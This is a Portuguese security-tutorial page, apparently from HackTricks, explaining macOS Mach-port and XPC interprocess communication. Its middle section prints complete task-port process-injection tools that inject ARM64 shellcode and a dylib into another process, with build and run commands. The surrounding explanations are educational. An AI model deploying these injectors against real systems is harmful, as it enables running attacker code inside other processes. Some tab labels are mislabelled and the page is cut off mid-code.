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2023-06-06 18:56:34 +00:00
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macOS IPC - Comunicação Interprocessos

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Mach messaging via Ports

O Mach usa tarefas como a unidade menor para compartilhar recursos, e cada tarefa pode conter várias threads. Essas tarefas e threads são mapeadas 1:1 para processos e threads POSIX.

A comunicação entre tarefas ocorre via Comunicação Interprocessos (IPC) do Mach, utilizando canais de comunicação unidirecionais. As mensagens são transferidas entre portas, que atuam como filas de mensagens gerenciadas pelo kernel.

Os direitos de porta, que definem quais operações uma tarefa pode executar, são fundamentais para essa comunicação. Os possíveis direitos de porta são:

  • Direito de recebimento, que permite receber mensagens enviadas para a porta. As portas do Mach são filas MPSC (múltiplos produtores, um único consumidor), o que significa que pode haver apenas um direito de recebimento para cada porta em todo o sistema (ao contrário dos pipes, onde vários processos podem ter descritores de arquivo para a extremidade de leitura de um pipe).
    • Uma tarefa com o direito de recebimento pode receber mensagens e criar direitos de envio, permitindo que ela envie mensagens. Originalmente, apenas a própria tarefa tem o direito de recebimento sobre sua porta.
  • Direito de envio, que permite enviar mensagens para a porta.
  • Direito de envio único, que permite enviar uma mensagem para a porta e depois desaparece.
  • Direito de conjunto de porta, que denota um conjunto de porta em vez de uma única porta. Desenfileirar uma mensagem de um conjunto de portas desenfileira uma mensagem de uma das portas que ele contém. Os conjuntos de portas podem ser usados para ouvir várias portas simultaneamente, muito parecido com select/poll/epoll/kqueue no Unix.
  • Nome morto, que não é um direito de porta real, mas apenas um espaço reservado. Quando uma porta é destruída, todos os direitos de porta existentes para a porta se transformam em nomes mortos.

As tarefas podem transferir direitos de ENVIO para outros, permitindo que eles enviem mensagens de volta. Os direitos de ENVIO também podem ser clonados, para que uma tarefa possa duplicar e dar o direito a uma terceira tarefa. Isso, combinado com um processo intermediário conhecido como servidor de inicialização, permite uma comunicação eficaz entre tarefas.

Etapas:

Como mencionado, para estabelecer o canal de comunicação, o servidor de inicialização (launchd no mac) está envolvido.

  1. A tarefa A inicia uma nova porta, obtendo um direito de RECEBIMENTO no processo.
  2. A tarefa A, sendo a detentora do direito de RECEBIMENTO, gera um direito de ENVIO para a porta.
  3. A tarefa A estabelece uma conexão com o servidor de inicialização, fornecendo o nome do serviço da porta e o direito de ENVIO por meio de um procedimento conhecido como registro de inicialização.
  4. A tarefa B interage com o servidor de inicialização para executar uma busca de inicialização para o serviço. Se bem-sucedido, o servidor duplica o direito de ENVIO recebido da Tarefa A e o transmite para a Tarefa B.
  5. Ao adquirir um direito de ENVIO, a tarefa B é capaz de formular uma mensagem e enviá-la para a tarefa A.

O servidor de inicialização não pode autenticar o nome do serviço reivindicado por uma tarefa. Isso significa que uma tarefa poderia potencialmente se passar por qualquer tarefa do sistema, como falsamente reivindicar um nome de serviço de autorização e, em seguida, aprovar todas as solicitações.

Então, a Apple armazena os nomes dos serviços fornecidos pelo sistema em arquivos de configuração seguros, localizados em diretórios protegidos pelo SIP: /System/Library/LaunchDaemons e /System/Library/LaunchAgents. Ao lado de cada nome de serviço, o binário associado também é armazenado. O servidor de inicialização criará e manterá um direito de RECEBIMENTO para cada um desses nomes de serviço.

Para esses serviços predefinidos, o processo de busca difere ligeiramente. Quando um nome de serviço está sendo procurado, o launchd inicia o serviço dinamicamente. O novo fluxo de trabalho é o seguinte:

  • A tarefa B inicia uma busca de inicialização para um nome de serviço.
  • launchd verifica se a tarefa está em execução e, se não estiver, a inicia.
  • A tarefa A (o serviço) realiza um check-in de inicialização. Aqui, o servidor de inicialização cria um direito de ENVIO, o retém e transfere o direito de RECEBIMENTO para a tarefa A.
  • launchd duplica o direito de ENVIO e o envia para a tarefa B.

No entanto, esse processo se aplica apenas a tarefas do sistema predefinidas. As tarefas não do sistema ainda operam como descrito originalmente, o que poderia permitir a falsificação.

Exemplo de código

Observe como o remetente aloca uma porta, cria um direito de envio para o nome org.darlinghq.example e o envia para o servidor de inicialização enquanto o remetente solicitou o direito de envio desse nome e o usou para enviar uma mensagem.

{% tabs %} {% tab title="receiver.c" %}

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

    // Create a new port.
    mach_port_t port;
    kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (kr != KERN_SUCCESS) {
        printf("mach_port_allocate() failed with code 0x%x\n", kr);
        return 1;
    }
    printf("mach_port_allocate() created port right name %d\n", port);


    // Give us a send right to this port, in addition to the receive right.
    kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (kr != KERN_SUCCESS) {
        printf("mach_port_insert_right() failed with code 0x%x\n", kr);
        return 1;
    }
    printf("mach_port_insert_right() inserted a send right\n");


    // Send the send right to the bootstrap server, so that it can be looked up by other processes.
    kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
    if (kr != KERN_SUCCESS) {
        printf("bootstrap_register() failed with code 0x%x\n", kr);
        return 1;
    }
    printf("bootstrap_register()'ed our port\n");


    // Wait for a message.
    struct {
        mach_msg_header_t header;
        char some_text[10];
        int some_number;
        mach_msg_trailer_t trailer;
    } message;

    kr = mach_msg(
        &message.header,  // Same as (mach_msg_header_t *) &message.
        MACH_RCV_MSG,     // Options. We're receiving a message.
        0,                // Size of the message being sent, if sending.
        sizeof(message),  // Size of the buffer for receiving.
        port,             // The port to receive a message on.
        MACH_MSG_TIMEOUT_NONE,
        MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
    );
    if (kr != KERN_SUCCESS) {
        printf("mach_msg() failed with code 0x%x\n", kr);
        return 1;
    }
    printf("Got a message\n");

    message.some_text[9] = 0;
    printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

{% endtab %}

{% tab title="receiver.c" %}

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

    // Lookup the receiver port using the bootstrap server.
    mach_port_t port;
    kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
    if (kr != KERN_SUCCESS) {
        printf("bootstrap_look_up() failed with code 0x%x\n", kr);
        return 1;
    }
    printf("bootstrap_look_up() returned port right name %d\n", port);


    // Construct our message.
    struct {
        mach_msg_header_t header;
        char some_text[10];
        int some_number;
    } message;

    message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
    message.header.msgh_remote_port = port;
    message.header.msgh_local_port = MACH_PORT_NULL;

    strncpy(message.some_text, "Hello", sizeof(message.some_text));
    message.some_number = 35;

    // Send the message.
    kr = mach_msg(
        &message.header,  // Same as (mach_msg_header_t *) &message.
        MACH_SEND_MSG,    // Options. We're sending a message.
        sizeof(message),  // Size of the message being sent.
        0,                // Size of the buffer for receiving.
        MACH_PORT_NULL,   // A port to receive a message on, if receiving.
        MACH_MSG_TIMEOUT_NONE,
        MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
    );
    if (kr != KERN_SUCCESS) {
        printf("mach_msg() failed with code 0x%x\n", kr);
        return 1;
    }
    printf("Sent a message\n");
}

Portas Privilegiadas

  • Porta do host: Se um processo tem o privilégio Enviar sobre esta porta, ele pode obter informações sobre o sistema (por exemplo, host_processor_info).
  • Porta de privilégio do host: Um processo com o direito de Enviar sobre esta porta pode realizar ações privilegiadas como carregar uma extensão do kernel. O processo precisa ser root para obter essa permissão.
    • Além disso, para chamar a API kext_request, é necessário ter a autorização com.apple.private.kext, que é dada apenas a binários da Apple.
  • Porta do nome da tarefa: Uma versão não privilegiada da porta da tarefa. Ele faz referência à tarefa, mas não permite controlá-la. A única coisa que parece estar disponível através dela é task_info().
  • Porta da tarefa (também conhecida como porta do kernel): Com a permissão de Envio sobre esta porta, é possível controlar a tarefa (ler/escrever memória, criar threads...).
    • Chame mach_task_self() para obter o nome desta porta para a tarefa do chamador. Esta porta é apenas herdada através do exec(); uma nova tarefa criada com fork() recebe uma nova porta de tarefa (como um caso especial, uma tarefa também recebe uma nova porta de tarefa após exec()ing um binário suid). A única maneira de criar uma tarefa e obter sua porta é realizar a "dança de troca de porta" enquanto faz um fork().
    • Estas são as restrições para acessar a porta (de macos_task_policy do binário AppleMobileFileIntegrity):
      • Se o aplicativo tiver a autorização com.apple.security.get-task-allow, processos do mesmo usuário podem acessar a porta da tarefa (comumente adicionado pelo Xcode para depuração). O processo de notarização não permitirá isso para lançamentos de produção.
      • Aplicativos com a autorização com.apple.system-task-ports podem obter a porta da tarefa para qualquer processo, exceto o kernel. Em versões mais antigas, era chamado de task_for_pid-allow. Isso é concedido apenas a aplicativos da Apple.
      • Root pode acessar portas de tarefas de aplicativos não compilados com um tempo de execução fortificado (e não da Apple).

Injeção de Processo Shellcode via Porta da Tarefa

Você pode obter um shellcode de:

{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}

{% tabs %} {% tab title="mysleep.m" %}

// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]);
        [NSThread sleepForTimeInterval:99999];
    }
    return 0;
}

{% endtab %}

{% tab title="entitlements.plist" %}

O arquivo entitlements.plist é um arquivo de propriedades que contém informações sobre as permissões e recursos que um aplicativo tem acesso. Ele é usado para definir as capacidades do aplicativo e é assinado digitalmente para garantir sua integridade. O arquivo é usado pelo sistema operacional para verificar se o aplicativo tem permissão para acessar determinados recursos, como a câmera, o microfone ou a localização do usuário. Se um aplicativo não tiver as permissões necessárias, ele não poderá acessar esses recursos. O arquivo entitlements.plist é uma parte importante do processo de sandboxing do macOS, que ajuda a proteger o sistema operacional contra ataques maliciosos.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.security.get-task-allow</key>
    <true/>
</dict>
</plist>

{% endtab %} {% endtabs %}

Compile o programa anterior e adicione as entitlements para poder injetar código com o mesmo usuário (caso contrário, você precisará usar sudo).

injector.m ```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
    fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
    return (-1);
}
else{
    printf("Gathered privileges over the task port of process: %d\n", pid);
}

// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS)
{
    fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
    return (-2);
}
else
{

    fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}

// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
{
    fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
    return (-2);
}


// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask,                   // Task port
                   remoteCode64,                 // Virtual Address (Destination)
                   (vm_address_t) injectedCode,  // Source
                    0xa9);                       // Length of the source


if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}


// Set the permissions on the allocated code memory
kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}

// Set the permissions on the allocated stack memory
kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}

// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t         remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack
    //remoteStack64 -= 8;  // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) {
    fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
    return (-3);
}

return (0);

}

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

    pid_t pid = atoi(argv[1]);
    inject(pid);
}

return 0;

}

</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pid-of-mysleep>

Injeção de Processo Dylib via Porta de Tarefa

No macOS, threads podem ser manipulados via Mach ou usando a API posix pthread. O thread gerado na injeção anterior foi gerado usando a API Mach, portanto, não é compatível com posix.

Foi possível injetar um shellcode simples para executar um comando porque ele não precisava trabalhar com APIs compatíveis com posix, apenas com Mach. Injeções mais complexas precisariam que o thread também fosse compatível com posix.

Portanto, para melhorar o shellcode, ele deve chamar pthread_create_from_mach_thread, que irá criar um pthread válido. Em seguida, este novo pthread pode chamar dlopen para carregar nossa dylib do sistema.

Você pode encontrar exemplos de dylibs em (por exemplo, aquele que gera um log e depois você pode ouvi-lo):

{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} macos-dyld-hijacking-and-dyld_insert_libraries.md {% endcontent-ref %}

dylib_injector.m ```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c #include #include #include #include <sys/types.h> #include <mach/mach.h> #include <mach/error.h> #include #include #include <sys/sysctl.h> #include <sys/mman.h>

#include <sys/stat.h> #include <pthread.h>

#ifdef arm64 //#include "mach/arm/thread_status.h"

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported // And I say, bullshit. kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

char injectedCode[] =

"\x00\x00\x20\xd4" // BRK X0     ; // useful if you need a break :)

// Call pthread_set_self

"\xff\x83\x00\xd1" // SUB SP, SP, #0x20         ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10        ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10         ; Space for the 
"\xE0\x03\x00\x91" // MOV X0, SP                ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0                ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14              ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0                ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44               ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8                    ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop              ; loop forever

// Call dlopen with the path to the library
"\xC0\x01\x00\x10"  // ADR X0, #56  ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58"  // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2"  // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91"  // ADD   x9, x9, 0  - I left this as a nop
"\x00\x01\x3f\xd6"  // BLR X8     ; do dlopen()

// Call pthread_exit
"\xA8\x00\x00\x58"  // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2"  // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6"  // BLR X8     ; do pthread_exit

"PTHRDCRT"  // <-
"PTHRDEXT"  // <-
"DLOPEN__"  // <- 
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" 
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;

int inject(pid_t pid, const char *lib) {

task_t remoteTask;
struct stat buf;

// Check if the library exists
int rc = stat (lib, &buf);

if (rc != 0)
{
    fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
    //return (-9);
}

// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
    fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
    return (-1);
}
else{
    printf("Gathered privileges over the task port of process: %d\n", pid);
}

// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS)
{
    fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
    return (-2);
}
else
{

    fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}

// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
{
    fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
    return (-2);
}


// Patch shellcode

int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{

    // Patching is crude, but works.
    //
    extern void *_pthread_set_self;
    possiblePatchLocation++;

    
    uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
    uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
    uint64_t addrOfDlopen = (uint64_t) dlopen;

    if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
    {
        memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
        printf ("Pthread exit  @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
    }

    if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
    {
        memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
        printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
    }

    if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
    {
        printf ("DLOpen @%llx\n", addrOfDlopen);
        memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
    }

    if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
    {
        strcpy(possiblePatchLocation, lib );
    }
}

// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask,                   // Task port
                   remoteCode64,                 // Virtual Address (Destination)
                   (vm_address_t) injectedCode,  // Source
                    0xa9);                       // Length of the source


if (kr != KERN_SUCCESS)
{
    fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
    return (-3);
}


// Set the permissions on the allocated code memory
kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
    fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
    return (-4);
}

// Set the permissions on the allocated stack memory
kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
    fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
    return (-4);
}


// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t         remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack
    //remoteStack64 -= 8;  // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) {
    fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
    return (-3);
}

return (0);

}

int main(int argc, const char * argv[]) { if (argc < 3) { fprintf (stderr, "Usage: %s pid action\n", argv[0]); fprintf (stderr, " action: path to a dylib on disk\n"); exit(0); }

pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;

int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
    fprintf(stderr,"Dylib not found\n");
}

}

</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>

XPC

Informações básicas

XPC, que significa Comunicação Interprocessual XNU (o kernel usado pelo macOS), é um framework para comunicação entre processos no macOS e iOS. O XPC fornece um mecanismo para fazer chamadas de método assíncronas seguras entre diferentes processos no sistema. É uma parte do paradigma de segurança da Apple, permitindo a criação de aplicativos com privilégios separados onde cada componente é executado com apenas as permissões necessárias para fazer seu trabalho, limitando assim o potencial de danos de um processo comprometido.

O XPC usa uma forma de Comunicação Interprocessual (IPC), que é um conjunto de métodos para diferentes programas em execução no mesmo sistema para enviar dados de ida e volta.

Os principais benefícios do XPC incluem:

  1. Segurança: Ao separar o trabalho em diferentes processos, cada processo pode receber apenas as permissões necessárias. Isso significa que mesmo que um processo seja comprometido, ele tem capacidade limitada de causar danos.
  2. Estabilidade: O XPC ajuda a isolar falhas no componente onde elas ocorrem. Se um processo falhar, ele pode ser reiniciado sem afetar o restante do sistema.
  3. Desempenho: O XPC permite fácil concorrência, pois diferentes tarefas podem ser executadas simultaneamente em diferentes processos.

A única desvantagem é que separar um aplicativo em vários processos fazendo com que eles se comuniquem via XPC é menos eficiente. Mas nos sistemas de hoje isso é quase imperceptível e os benefícios são muito melhores.

Um exemplo pode ser visto no QuickTime Player, onde um componente que usa XPC é responsável pela decodificação de vídeo. O componente é especificamente projetado para realizar tarefas computacionais, portanto, no caso de uma violação, ele não forneceria nenhum ganho útil ao atacante, como acesso a arquivos ou à rede.

Serviços XPC específicos do aplicativo

Os componentes XPC de um aplicativo estão dentro do próprio aplicativo. Por exemplo, no Safari, você pode encontrá-los em /Applications/Safari.app/Contents/XPCServices. Eles têm a extensão .xpc (como com.apple.Safari.SandboxBroker.xpc) e também são bundles com o binário principal dentro dele: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker

Como você pode estar pensando, um componente XPC terá diferentes direitos e privilégios do que os outros componentes XPC ou o binário principal do aplicativo. EXCETO se um serviço XPC for configurado com JoinExistingSession definido como "True" em seu arquivo Info.plist. Nesse caso, o serviço XPC será executado na mesma sessão de segurança do aplicativo que o chamou.

Os serviços XPC são iniciados pelo launchd quando necessário e encerrados assim que todas as tarefas são concluídas para liberar recursos do sistema. Os componentes XPC específicos do aplicativo só podem ser utilizados pelo aplicativo, reduzindo assim o risco associado a possíveis vulnerabilidades.

Serviços XPC em todo o sistema

Os serviços XPC em todo o sistema são acessíveis a todos os usuários. Esses serviços, seja launchd ou do tipo Mach, precisam ser definidos em arquivos plist localizados em diretórios especificados, como /System/Library/LaunchDaemons, /Library/LaunchDaemons, /System/Library/LaunchAgents ou /Library/LaunchAgents.

Esses arquivos plist terão uma chave chamada MachServices com o nome do serviço e uma chave chamada Program com o caminho para o binário:

cat /Library/LaunchDaemons/com.jamf.management.daemon.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Program</key>
	<string>/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon</string>
	<key>AbandonProcessGroup</key>
	<true/>
	<key>KeepAlive</key>
	<true/>
	<key>Label</key>
	<string>com.jamf.management.daemon</string>
	<key>MachServices</key>
	<dict>
		<key>com.jamf.management.daemon.aad</key>
		<true/>
		<key>com.jamf.management.daemon.agent</key>
		<true/>
		<key>com.jamf.management.daemon.binary</key>
		<true/>
		<key>com.jamf.management.daemon.selfservice</key>
		<true/>
		<key>com.jamf.management.daemon.service</key>
		<true/>
	</dict>
	<key>RunAtLoad</key>
	<true/>
</dict>
</plist>

Os que estão em LaunchDaemons são executados pelo root. Portanto, se um processo não privilegiado puder se comunicar com um desses, ele poderá ser capaz de escalar privilégios.

Mensagens de Evento XPC

Os aplicativos podem se inscrever em diferentes mensagens de evento, permitindo que sejam iniciados sob demanda quando esses eventos ocorrem. A configuração desses serviços é feita em arquivos plist do launchd, localizados nos mesmos diretórios que os anteriores e contendo uma chave extra LaunchEvent.

Verificação do Processo de Conexão XPC

Quando um processo tenta chamar um método via uma conexão XPC, o serviço XPC deve verificar se esse processo tem permissão para se conectar. Aqui estão as maneiras comuns de verificar isso e as armadilhas comuns:

{% content-ref url="macos-xpc-connecting-process-check.md" %} macos-xpc-connecting-process-check.md {% endcontent-ref %}

Autorização XPC

A Apple também permite que os aplicativos configurem alguns direitos e como obtê-los para que, se o processo de chamada os tiver, ele possa ser autorizado a chamar um método do serviço XPC:

{% content-ref url="macos-xpc-authorization.md" %} macos-xpc-authorization.md {% endcontent-ref %}

Exemplo de Código C

{% tabs %} {% tab title="xpc_server.c" %}

// gcc xpc_server.c -o xpc_server

#include <xpc/xpc.h>

static void handle_event(xpc_object_t event) {
    if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
        // Print received message
        const char* received_message = xpc_dictionary_get_string(event, "message");
        printf("Received message: %s\n", received_message);

        // Create a response dictionary
        xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);
        xpc_dictionary_set_string(response, "received", "received");

        // Send response
        xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
        xpc_connection_send_message(remote, response);

        // Clean up
        xpc_release(response);
    }
}

static void handle_connection(xpc_connection_t connection) {
    xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
        handle_event(event);
    });
    xpc_connection_resume(connection);
}

int main(int argc, const char *argv[]) {
    xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service",
                                                                   dispatch_get_main_queue(),
                                                                   XPC_CONNECTION_MACH_SERVICE_LISTENER);
    if (!service) {
        fprintf(stderr, "Failed to create service.\n");
